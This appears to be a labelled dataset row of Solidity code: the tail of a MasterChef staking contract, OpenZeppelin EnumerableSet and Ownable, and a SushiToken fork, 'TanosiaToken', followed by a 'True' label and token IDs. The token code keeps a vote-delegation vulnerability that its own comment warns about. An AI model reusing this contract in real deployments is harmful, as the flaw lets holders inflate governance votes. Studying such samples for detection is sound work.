if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 sushiReward =
multiplier.mul(sushiPerBlock).mul(pool.allocPoint).div(
totalAllocPoint
);
sushi.mint(devaddr, sushiReward.div(10));
sushi.mint(address(this), sushiReward);
pool.accSushiPerShare = pool.accSushiPerShare.add(
sushiReward.mul(1e12).div(lpSupply)
);
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for SUSHI allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending =
user.amount.mul(pool.accSushiPerShare).div(1e12).sub(
user.rewardDebt
);
safeSushiTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending =
user.amount.mul(pool.accSushiPerShare).div(1e12).sub(
user.rewardDebt
);
safeSushiTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe sushi transfer function, just in case if rounding error causes pool to not have enough SUSHIs.
function safeSushiTransfer(address _to, uint256 _amount) internal {
uint256 sushiBal = sushi.balanceOf(address(this));
if (_amount > sushiBal) {
sushi.transfer(_to, sushiBal);
} else {
sushi.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
// WARNING: There is a known vuln contained within this contract related to vote delegation,
// it's NOT recommmended to use this in production.
// TanosiaToken with Governance.
contract TanosiaToken is ERC20("Tanosia", "TANOS"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "SUSHI::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "SUSHI::delegateBySig: invalid nonce");
require(now <= expiry, "SUSHI::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "SUSHI::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying SUSHIs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "SUSHI::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | True | [
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6061,
1997,
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4053,
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1013,
1013,
1013,
1013,
14931,
12190,
1009,
1042,
2005,
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2595,
2000,
2156,
2035,
1996,
12719,
1012,
1013,
1013,
22038,
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1024,
10975,
8490,
2863,
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1034,
1014,
1012,
1019,
1012,
2385,
1025,
10975,
8490,
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5024,
3012,
1014,
1012,
1020,
1012,
2260,
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1013,
1013,
22038,
2595,
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12324,
1000,
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3647,
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1000,
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1000,
1030,
2330,
4371,
27877,
2378,
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8311,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
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1000,
1025,
3206,
2051,
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1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
1025,
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2047,
4215,
10020,
1006,
4769,
25331,
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10020,
1007,
1025,
2724,
2047,
11837,
4667,
4215,
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1006,
4769,
25331,
2047,
11837,
4667,
4215,
10020,
1007,
1025,
2724,
2047,
9247,
4710,
1006,
21318,
3372,
25331,
2047,
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4710,
1007,
1025,
2724,
17542,
6494,
3619,
18908,
3258,
1006,
27507,
16703,
25331,
19067,
14949,
2232,
1010,
4769,
25331,
4539,
1010,
21318,
3372,
3643,
1010,
5164,
8085,
1010,
27507,
2951,
1010,
21318,
3372,
27859,
1007,
1025,
2724,
15389,
6494,
102
]
| [
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]
|
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